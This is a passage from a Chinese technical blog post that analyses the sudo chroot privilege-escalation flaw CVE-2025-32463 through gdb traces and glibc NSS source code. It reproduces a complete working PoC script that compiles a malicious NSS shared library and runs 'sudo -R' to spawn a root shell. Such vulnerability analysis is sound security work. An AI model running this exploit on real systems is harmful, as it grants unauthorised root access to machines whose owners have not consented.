&lt;__nss_group_database&gt;, database_index&#x3D;nss_database_group)</span><br><span class="line">    at .&#x2F;nss&#x2F;nss_database.c:396</span><br><span class="line">warning: 396.&#x2F;nss&#x2F;nss_database.c: No such file or directory</span><br><span class="line">rdx            0x2                 2</span><br><span class="line"></span><br><span class="line">Breakpoint 5, nss_database_check_reload_and_get (local&#x3D;0x5555555a1ad0, result&#x3D;0x7ffff7e10b68 &lt;__nss_group_database&gt;, database_index&#x3D;nss_database_group)</span><br><span class="line">    at .&#x2F;nss&#x2F;nss_database.c:396</span><br><span class="line">396in .&#x2F;nss&#x2F;nss_database.c</span><br><span class="line">rdx            0x2                 2</span><br><span class="line"></span><br><span class="line">Breakpoint 5, nss_database_check_reload_and_get (local&#x3D;0x5555555a1ad0, result&#x3D;0x7ffff7e10b00 &lt;__nss_shadow_database&gt;, database_index&#x3D;nss_database_shadow)</span><br><span class="line">    at .&#x2F;nss&#x2F;nss_database.c:396</span><br><span class="line">396in .&#x2F;nss&#x2F;nss_database.c</span><br><span class="line">rdx            0xf                 15</span><br><span class="line">Downloading separate debug info for libnss_&#x2F;woot1337.so.2</span><br><span class="line">Download failed: Invalid argument.  Continuing without source file .&#x2F;nss&#x2F;.&#x2F;nss&#x2F;nss_database.c.</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>整理出来就是：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">nss_database_passwd 9</span><br><span class="line">nss_database_passwd 9</span><br><span class="line">nss_database_passwd 9</span><br><span class="line"># pivot_root</span><br><span class="line">nss_database_initgroups 6</span><br><span class="line">nss_database_group 2</span><br><span class="line"># unpivot_root</span><br><span class="line">nss_database_group 2</span><br><span class="line">nss_database_group 2</span><br><span class="line">nss_database_shadow 15 # load lib</span><br></pre></td></tr></table></figure><p>在章节 ”nss_database_check_reload_and_get 分析“的时候我们知道 <code>nss_database_initgroups</code>的时候 <code>reload_disabled</code> 不会设置。 </p><p>当到第一个  <code>nss_database_group</code> 的时候， 由于文件没有修改， 所以会直接 return。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">(gdb) n</span><br><span class="line"><span class="number">418</span>      *result = local-&gt;data.services[database_index];</span><br><span class="line">(gdb) l</span><br><span class="line"><span class="number">413</span>  __libc_lock_lock (local-&gt;lock);</span><br><span class="line"><span class="number">414</span>  <span class="keyword">if</span> (__file_is_unchanged (&amp;initial, &amp;local-&gt;data.nsswitch_conf))</span><br><span class="line"><span class="number">415</span>    &#123;</span><br><span class="line"><span class="number">416</span>      <span class="comment">/* Configuration is up-to-date.  Read it and return it to the</span></span><br><span class="line"><span class="comment">417         caller.  */</span></span><br><span class="line"><span class="number">418</span>      *result = local-&gt;data.services[database_index];</span><br><span class="line"><span class="number">419</span>      __libc_lock_unlock (local-&gt;lock);</span><br><span class="line"><span class="number">420</span>      <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"><span class="number">421</span>    &#125;</span><br><span class="line"><span class="number">422</span></span><br><span class="line">(gdb)</span><br></pre></td></tr></table></figure><p>不会走后续的逻辑。 </p><p>当走完 <code>unpivot_root</code>  来到第二个<code>nss_database_group</code>,   <code>reload_disabled</code> 没有设置， 走到文件修改比较。 因为此时已经 <code>unpivot_root</code>, 因此文件是有变化的， 程序会继续执行。</p><p>当走到 <code>if (local-&gt;data.services[database_index] != NULL)</code> 判断的时候</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"> <span class="keyword">if</span> (local-&gt;data.services[database_index] != <span class="literal">NULL</span>)</span><br><span class="line">   &#123;</span><br><span class="line">     <span class="comment">/* Before we reload, verify that &quot;/&quot; hasn&#x27;t changed.  We assume that</span></span><br><span class="line"><span class="comment">       errors here are very unlikely, but the chance that we&#x27;re entering</span></span><br><span class="line"><span class="comment">       a container is also very unlikely, so we err on the side of both</span></span><br><span class="line"><span class="comment">       very unlikely things not happening at the same time.  */</span></span><br><span class="line">     <span class="keyword">if</span> (stat_rv != <span class="number">0</span></span><br><span class="line">  || (local-&gt;root_ino != <span class="number">0</span></span><br><span class="line">      &amp;&amp; (str.st_ino != local-&gt;root_ino</span><br><span class="line">  ||  str.st_dev != local-&gt;root_dev)))</span><br><span class="line">&#123;</span><br><span class="line">       <span class="comment">/* Change detected; disable reloading and return current state.  */</span></span><br><span class="line">       atomic_store_release (&amp;local-&gt;data.reload_disabled, <span class="number">1</span>);</span><br><span class="line">       *result = local-&gt;data.services[database_index];</span><br><span class="line">       __libc_lock_unlock (local-&gt;lock);</span><br><span class="line">       <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">     &#125;</span><br><span class="line">   &#125;</span><br></pre></td></tr></table></figure><p>由于 <code>local-&gt;data.services[database_index]</code> 不为空， 因此会进入 if 的逻辑。 且此时</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">stat_rv &#x3D; 0</span><br><span class="line">((struct nss_database_state *)local)-&gt;root_ino &#x3D; 0x560d0</span><br><span class="line">((struct nss_database_state *)0x5555555a1ad0)-&gt;root_dev &#x3D; 0xfd01</span><br><span class="line">str.st_ino !&#x3D; local-&gt;root_ino</span><br><span class="line">str.st_dev !&#x3D; local-&gt;root_dev</span><br></pre></td></tr></table></figure><p>符合这个 if 的判断， 会进到 <code>atomic_store_release (&amp;local-&gt;data.reload_disabled, 1);</code> , 走完这句代码后 <code>local-&gt;data.reload_disabled</code> 就会被设置为 1， 然后直接返回。</p><p>那么之后剩下的 <code>nss_database_check_reload_and_get</code> 函数调用都会在开头就会返回，不会进到 <code>nss_database_reload</code> 逻辑里</p><blockquote><p>[!小结]<br> 这里就解决了第二个疑问， 为什么后续 <code>nss_database_check_reload_and_get</code> 函数调用不会进到 <code>nss_database_reload</code>。 因为代码逻辑当 chroot 回到原来的目录的时候，调用第一个 <code>nss_database_check_reload_and_get</code> 会将 <code>reload_disabled</code> 设置成 1 且返回， 后续的调用就不会再进 <code>nss_database_reload</code></p></blockquote><h3 id="load-evil-library"><a href="#load-evil-library" class="headerlink" title="load evil library"></a>load evil library</h3><p>利用直接参考贴原作者的就行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"><span class="comment"># sudo-chwoot.sh</span></span><br><span class="line"><span class="comment"># CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch</span></span><br><span class="line"><span class="comment">#                  @ Stratascale Cyber Research Unit (CRU)</span></span><br><span class="line">STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)</span><br><span class="line"><span class="built_in">cd</span> <span class="variable">$&#123;STAGE?&#125;</span> || <span class="built_in">exit</span> 1</span><br><span class="line"></span><br><span class="line">cat &gt; woot1337.c&lt;&lt;<span class="string">EOF</span></span><br><span class="line"><span class="string">#include &lt;stdlib.h&gt;</span></span><br><span class="line"><span class="string">#include &lt;unistd.h&gt;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">__attribute__((constructor)) void woot(void) &#123;</span></span><br><span class="line"><span class="string">  setreuid(0,0);</span></span><br><span class="line"><span class="string">  setregid(0,0);</span></span><br><span class="line"><span class="string">  chdir(&quot;/&quot;);</span></span><br><span class="line"><span class="string">  execl(&quot;/bin/bash&quot;, &quot;/bin/bash&quot;, NULL);</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">EOF</span></span><br><span class="line"></span><br><span class="line">mkdir -p woot/etc libnss_</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;passwd: /woot1337&quot;</span> &gt; woot/etc/nsswitch.conf</span><br><span class="line">cp /etc/group woot/etc</span><br><span class="line">gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c</span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;woot!&quot;</span></span><br><span class="line">sudo -R woot woot</span><br><span class="line">rm -rf <span class="variable">$&#123;STAGE?&#125;</span></span><br></pre></td></tr></table></figure><p>在不可信任的路径里配置一个 <code>etc/nsswitch.conf</code>, 内容如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">bash-5.2$ cat woot&#x2F;etc&#x2F;nsswitch.conf</span><br><span class="line">passwd: &#x2F;woot1337</span><br></pre></td></tr></table></figure><p>一个有趣的说明，<code>nsswitch.conf</code>中的源的名称也被用作共享对象（库）的路径的一部分。例如，上述LDAP源转化为 <code>libnss_/woot1337.so.2.so</code>。 </p><p>那么在哪里加载恶意 so 的呢？ 我们对 dlopen 下一个断点， 然后查看一下他的 backtrace。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line">#0  0x00007ffff7e86191 in woot () from libnss_&#x2F;woot1337.so.2</span><br><span class="line">#1  0x00007ffff7fca6d5 in call_init (l&#x3D;0x5555555b5cb0, argc&#x3D;argc@entry&#x3D;4, argv&#x3D;argv@entry&#x3D;0x7fffffffe2b8, env&#x3D;env@entry&#x3D;0x7fffffffe2e0)</span><br><span class="line">    at .&#x2F;elf&#x2F;dl-init.c:60</span><br><span class="line">#2  0x00007ffff7fca824 in call_init (env&#x3D;&lt;optimized out&gt;, argv&#x3D;&lt;optimized out&gt;, argc&#x3D;&lt;optimized out&gt;, l&#x3D;&lt;optimized out&gt;) at .&#x2F;elf&#x2F;dl-init.c:120</span><br><span class="line">#3  _dl_init (main_map&#x3D;0x5555555b5cb0, argc&#x3D;4, argv&#x3D;0x7fffffffe2b8, env&#x3D;0x7fffffffe2e0) at .&#x2F;elf&#x2F;dl-init.c:121</span><br><span class="line">#4  0x00007ffff7fc65b2 in __GI__dl_catch_exception (exception&#x3D;exception@entry&#x3D;0x0, operate&#x3D;operate@entry&#x3D;0x7ffff7fd1cc0 &lt;call_dl_init&gt;,</span><br><span class="line">    args&#x3D;args@entry&#x3D;0x7fffffffc340) at .&#x2F;elf&#x2F;dl-catch.c:211</span><br><span class="line">#5  0x00007ffff7fd1d7c in dl_open_worker (a&#x3D;0x7fffffffc4f0) at .&#x2F;elf&#x2F;dl-open.c:829</span><br><span class="line">#6  dl_open_worker (a&#x3D;a@entry&#x3D;0x7fffffffc4f0) at .&#x2F;elf&#x2F;dl-open.c:792</span><br><span class="line">#7  0x00007ffff7fc651c in __GI__dl_catch_exception (exception&#x3D;exception@entry&#x3D;0x7fffffffc4d0, operate&#x3D;operate@entry&#x3D;0x7ffff7fd1ce0 &lt;dl_open_worker&gt;,</span><br><span class="line">    args&#x3D;args@entry&#x3D;0x7fffffffc4f0) at .&#x2F;elf&#x2F;dl-catch.c:237</span><br><span class="line">#8  0x00007ffff7fd2164 in _dl_open (file&#x3D;0x5555555b4d40 &quot;libnss_&#x2F;woot1337.so.2&quot;, mode&#x3D;&lt;optimized out&gt;, caller_dlopen&#x3D;0x7ffff7d53a0f &lt;module_load+175&gt;,</span><br><span class="line">    nsid&#x3D;&lt;optimized out&gt;, argc&#x3D;4, argv&#x3D;0x7fffffffe2b8, env&#x3D;0x7fffffffe2e0) at .&#x2F;elf&#x2F;dl-open.c:905</span><br><span class="line">#9  0x00007ffff7d840d5 in do_dlopen (ptr&#x3D;ptr@entry&#x3D;0x7fffffffc750) at .&#x2F;elf&#x2F;dl-libc.c:95</span><br><span class="line">#10 0x00007ffff7fc651c in __GI__dl_catch_exception (exception&#x3D;exception@entry&#x3D;0x7fffffffc6e0, operate&#x3D;0x7ffff7d84090 &lt;do_dlopen&gt;, args&#x3D;0x7fffffffc750)</span><br><span class="line">    at .&#x2F;elf&#x2F;dl-catch.c:237</span><br><span class="line">#11 0x00007ffff7fc6669 in _dl_catch_error (objname&#x3D;0x7fffffffc740, errstring&#x3D;0x7fffffffc748, mallocedp&#x3D;0x7fffffffc73f, operate&#x3D;&lt;optimized out&gt;,</span><br><span class="line">    args&#x3D;&lt;optimized out&gt;) at .&#x2F;elf&#x2F;dl-catch.c:256</span><br><span class="line">#12 0x00007ffff7d844ef in dlerror_run (args&#x3D;0x7fffffffc750, operate&#x3D;0x7ffff7d84090 &lt;do_dlopen&gt;) at .&#x2F;elf&#x2F;dl-libc.c:45</span><br><span class="line">#13 __libc_dlopen_mode (name&#x3D;&lt;optimized out&gt;, mode&#x3D;mode@entry&#x3D;-2147483646) at .&#x2F;elf&#x2F;dl-libc.c:162</span><br><span class="line">#14 0x00007ffff7d53a0f in module_load (module&#x3D;0x5555555af790) at .&#x2F;nss&#x2F;nss_module.c:187</span><br><span class="line">#15 0x00007ffff7d53ee5 in __nss_module_load (module&#x3D;0x5555555af790) at .&#x2F;nss&#x2F;nss_module.c:302</span><br><span class="line">#16 __nss_module_get_function (module&#x3D;0x5555555af790, name&#x3D;name@entry&#x3D;0x7ffff7dcf1eb &quot;setspent&quot;) at .&#x2F;nss&#x2F;nss_module.c:328</span><br><span class="line">#17 0x00007ffff7d5460b in __GI___nss_lookup_function (fct_name&#x3D;0x7ffff7dcf1eb &quot;setspent&quot;, ni&#x3D;&lt;optimized out&gt;) at .&#x2F;nss&#x2F;nsswitch.c:137</span><br><span class="line">#18 __GI___nss_lookup (ni&#x3D;0x7ffff7e11690 &lt;nip&gt;, fct_name&#x3D;0x7ffff7dcf1eb &quot;setspent&quot;, fct2_name&#x3D;0x0, fctp&#x3D;0x7fffffffcac0) at .&#x2F;nss&#x2F;nsswitch.c:67</span><br><span class="line">#19 0x00007ffff7d51306 in setup (all&#x3D;1, startp&#x3D;0x7ffff7e11680 &lt;startp&gt;, nip&#x3D;0x7ffff7e11690 &lt;nip&gt;, fctp&#x3D;0x7fffffffcac0,</span><br><span class="line">    lookup_fct&#x3D;0x7ffff7d50a80 &lt;__GI___nss_shadow_lookup2&gt;, func_name&#x3D;0x7ffff7dcf1eb &quot;setspent&quot;) at .&#x2F;nss&#x2F;getnssent_r.c:33</span><br><span class="line">#20 __nss_setent (func_name&#x3D;func_name@entry&#x3D;0x7ffff7dcf1eb &quot;setspent&quot;, lookup_fct&#x3D;0x7ffff7d50a80 &lt;__GI___nss_shadow_lookup2&gt;,</span><br><span class="line">    nip&#x3D;nip@entry&#x3D;0x7ffff7e11690 &lt;nip&gt;, startp&#x3D;startp@entry&#x3D;0x7ffff7e11680 &lt;startp&gt;, last_nip&#x3D;last_nip@entry&#x3D;0x7ffff7e11688 &lt;last_nip&gt;,</span><br><span class="line">    stayopen&#x3D;stayopen@entry&#x3D;0, stayopen_tmp&#x3D;0x0, res&#x3D;0) at .&#x2F;nss&#x2F;getnssent_r.c:76</span><br><span class="line">#21 0x00007ffff7d6490b in setspent () at ..&#x2F;nss&#x2F;getXXent_r.c:124</span><br><span class="line">#22 0x00007ffff7e98b33 in sudo_setspent () at .&#x2F;getspwuid.c:122</span><br><span class="line">#23 0x00007ffff7e98c27 in sudo_passwd_init (ctx&#x3D;&lt;optimized out&gt;, pw&#x3D;0x5555555a8a78, auth&#x3D;0x7ffff7f29020 &lt;auth_switch&gt;) at .&#x2F;auth&#x2F;passwd.c:57</span><br><span class="line">#24 0x00007ffff7e97a84 in sudo_auth_init (ctx&#x3D;ctx@entry&#x3D;0x7ffff7f296a0 &lt;sudoers_ctx&gt;, pw&#x3D;0x5555555a8a78, mode&#x3D;mode@entry&#x3D;33554433)</span><br><span class="line">    at .&#x2F;auth&#x2F;sudo_auth.c:117</span><br><span class="line">#25 0x00007ffff7e9a9a3 in check_user (ctx&#x3D;ctx@entry&#x3D;0x7ffff7f296a0 &lt;sudoers_ctx&gt;, validated&#x3D;validated@entry&#x3D;96, mode&#x3D;33554433) at .&#x2F;check.c:136</span><br><span class="line">#26 0x00007ffff7ebf201 in sudoers_check_common (pwflag&#x3D;pwflag@entry&#x3D;0, ctx&#x3D;0x7ffff7f296a0 &lt;sudoers_ctx&gt;) at .&#x2F;sudoers.c:468</span><br><span class="line">#27 0x00007ffff7ec06c8 in sudoers_check_cmnd (argc&#x3D;argc@entry&#x3D;1, argv&#x3D;argv@entry&#x3D;0x7fffffffe2d0, env_add&#x3D;env_add@entry&#x3D;0x0,</span><br><span class="line">    closure&#x3D;closure@entry&#x3D;0x7fffffffcdd0) at .&#x2F;sudoers.c:689</span><br><span class="line">#28 0x00007ffff7eb6673 in sudoers_policy_check (argc&#x3D;1, argv&#x3D;0x7fffffffe2d0, env_add&#x3D;0x0, command_infop&#x3D;0x7fffffffcea0, argv_out&#x3D;0x7fffffffcea8,</span><br><span class="line">    user_env_out&#x3D;0x7fffffffceb0, errstr&#x3D;0x7fffffffcec8) at .&#x2F;policy.c:1244</span><br><span class="line">#29 0x000055555555cffb in policy_check (run_envp&#x3D;0x7fffffffceb0, run_argv&#x3D;0x7fffffffcea8, command_info&#x3D;0x7fffffffcea0, env_add&#x3D;0x0, argv&#x3D;0x7fffffffe2d0,</span><br><span class="line">    argc&#x3D;1) at .&#x2F;sudo.c:1266</span><br><span class="line">#30 main (argc&#x3D;&lt;optimized out&gt;, argv&#x3D;&lt;optimized out&gt;, envp&#x3D;0x7fffffffe2e0) at .&#x2F;sudo.c:261</span><br><span class="line">(gdb)</span><br></pre></td></tr></table></figure><p>从这个调用链，我们就很清楚的知道了是在 <code>setspent</code> 之后进行的 dlopen 加载恶意的 so</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">policy_check -&gt; sudoers_policy_check -&gt; sudoers_check_cmnd</span><br><span class="line">-&gt; sudoers_check_common </span><br><span class="line">-&gt; set_cmnd_path </span><br><span class="line">-&gt; check_user -&gt; sudo_auth_init -&gt; sudo_passwd_init -&gt; sudo_setspent -&gt; setspent</span><br><span class="line">-&gt; setup -&gt; module_load</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>那么 <code>setspent</code> 做了什么呢？ <code>setspent</code> 函数会用来打开 shadows 文件的方法一个使用的例子</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">setpwent();</span><br><span class="line"><span class="keyword">while</span>(gets(buf) != <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span>((sp = getspnam(buf)) != (struct spwd *) <span class="number">0</span> )</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Vaild login name is:%s\n&quot;</span>,sp-&gt;sp_namp);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">setspent();</span><br><span class="line"><span class="keyword">while</span>((sp = getspent()) != (struct spwd *)<span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;%s\n&quot;</span>, sp-&gt;sp_namp);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><code>setspent</code> 实现代码<sup id="fnref:3"><a href="#fn:3" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="https://codebrowser.dev/glibc/glibc/nss/getXXent_r.c.html#122">[3]</span></a></sup></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">void</span></span><br><span class="line">SETFUNC_NAME (STAYOPEN)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">int</span> save;</span><br><span class="line">  __libc_lock_lock (lock);</span><br><span class="line">  __nss_setent (SETFUNC_NAME_STRING, DB_LOOKUP_FCT, &amp;nip, &amp;startp,</span><br><span class="line">&amp;last_nip, STAYOPEN_VAR, STAYOPEN_TMPVAR, NEED__RES);</span><br><span class="line">  save = errno;</span><br><span class="line">  __libc_lock_unlock (lock);</span><br><span class="line">  __set_errno (save);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>当调用到<code>module_load</code>的时候就会加载 so</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* Internal implementation of __nss_module_load.  */</span></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">bool</span></span><br><span class="line">module_load (struct nss_module *<span class="keyword">module</span>)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">if</span> (<span class="built_in">strcmp</span> (<span class="keyword">module</span>-&gt;name, <span class="string">&quot;files&quot;</span>) == <span class="number">0</span>)</span><br><span class="line">    <span class="keyword">return</span> module_load_nss_files (<span class="keyword">module</span>);</span><br><span class="line">  <span class="keyword">if</span> (<span class="built_in">strcmp</span> (<span class="keyword">module</span>-&gt;name, <span class="string">&quot;dns&quot;</span>) == <span class="number">0</span>)</span><br><span class="line">    <span class="keyword">return</span> module_load_nss_dns (<span class="keyword">module</span>);</span><br><span class="line">  <span class="keyword">void</span> *handle;</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">char</span> *shlib_name;</span><br><span class="line">    <span class="keyword">if</span> (__asprintf (&amp;shlib_name, <span class="string">&quot;libnss_%s.so%s&quot;</span>,</span><br><span class="line">                    <span class="keyword">module</span>-&gt;name, __nss_shlib_revision) &lt; <span class="number">0</span>)</span><br><span class="line">      <span class="comment">/* This is definitely a temporary failure.  Do not update</span></span><br><span class="line"><span class="comment">         module-&gt;state.  This will trigger another attempt at the next</span></span><br><span class="line"><span class="comment">         call.  */</span></span><br><span class="line">      <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    handle = __libc_dlopen (shlib_name);</span><br><span class="line">    <span class="built_in">free</span> (shlib_name);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/* Failing to load the module can be caused by several different</span></span><br><span class="line"><span class="comment">     scenarios.  One such scenario is that the module has been removed</span></span><br><span class="line"><span class="comment">     from the disk.  In which case the in-memory version is all that</span></span><br><span class="line"><span class="comment">     we have, and if the module-&gt;state indidates it is loaded then we</span></span><br><span class="line"><span class="comment">     can use it.  */</span></span><br><span class="line">  <span class="keyword">if</span> (handle == <span class="literal">NULL</span>)</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="comment">/* dlopen failure.  We do not know if this a temporary or</span></span><br><span class="line"><span class="comment">         permanent error.  See bug 22041.  Update the state using the</span></span><br><span class="line"><span class="comment">         double-checked locking idiom.  */</span></span><br><span class="line">      __libc_lock_lock (nss_module_list_lock);</span><br><span class="line">      <span class="keyword">bool</span> result = result;</span><br><span class="line">      <span class="keyword">switch</span> ((<span class="keyword">enum</span> nss_module_state) atomic_load_acquire (&amp;<span class="keyword">module</span>-&gt;state))</span><br><span class="line">        &#123;</span><br><span class="line">        <span class="keyword">case</span> nss_module_uninitialized:</span><br><span class="line">          atomic_store_release (&amp;<span class="keyword">module</span>-&gt;state, nss_module_failed);</span><br><span class="line">          result = <span class="literal">false</span>;</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> nss_module_loaded:</span><br><span class="line">          result = <span class="literal">true</span>;</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> nss_module_failed:</span><br><span class="line">          result = <span class="literal">false</span>;</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">      __libc_lock_unlock (nss_module_list_lock);</span><br><span class="line">      <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">  nss_module_functions_untyped pointers;</span><br><span class="line">  <span class="comment">/* Look up and store locally all the function pointers we may need</span></span><br><span class="line"><span class="comment">     later.  Doing this now means the data will not change in the</span></span><br><span class="line"><span class="comment">     future.  */</span></span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">size_t</span> idx = <span class="number">0</span>; idx &lt; array_length (nss_function_name_array); ++idx)</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">char</span> *function_name;</span><br><span class="line">      <span class="keyword">if</span> (__asprintf (&amp;function_name, <span class="string">&quot;_nss_%s_%s&quot;</span>,</span><br><span class="line">                      <span class="keyword">module</span>-&gt;name, nss_function_name_array[idx]) &lt; <span class="number">0</span>)</span><br><span class="line">        &#123;</span><br><span class="line">          <span class="comment">/* Definitely a temporary error.  */</span></span><br><span class="line">          __libc_dlclose (handle);</span><br><span class="line">          <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">      pointers[idx] = __libc_dlsym (handle, function_name);</span><br><span class="line">      <span class="built_in">free</span> (function_name);</span><br><span class="line">      PTR_MANGLE (pointers[idx]);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-07-02-e0349e6cc7ed7c3f2e12c5302cbbe90b-ff4613.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-07-02-e0349e6cc7ed7c3f2e12c5302cbbe90b-ff4613.png" 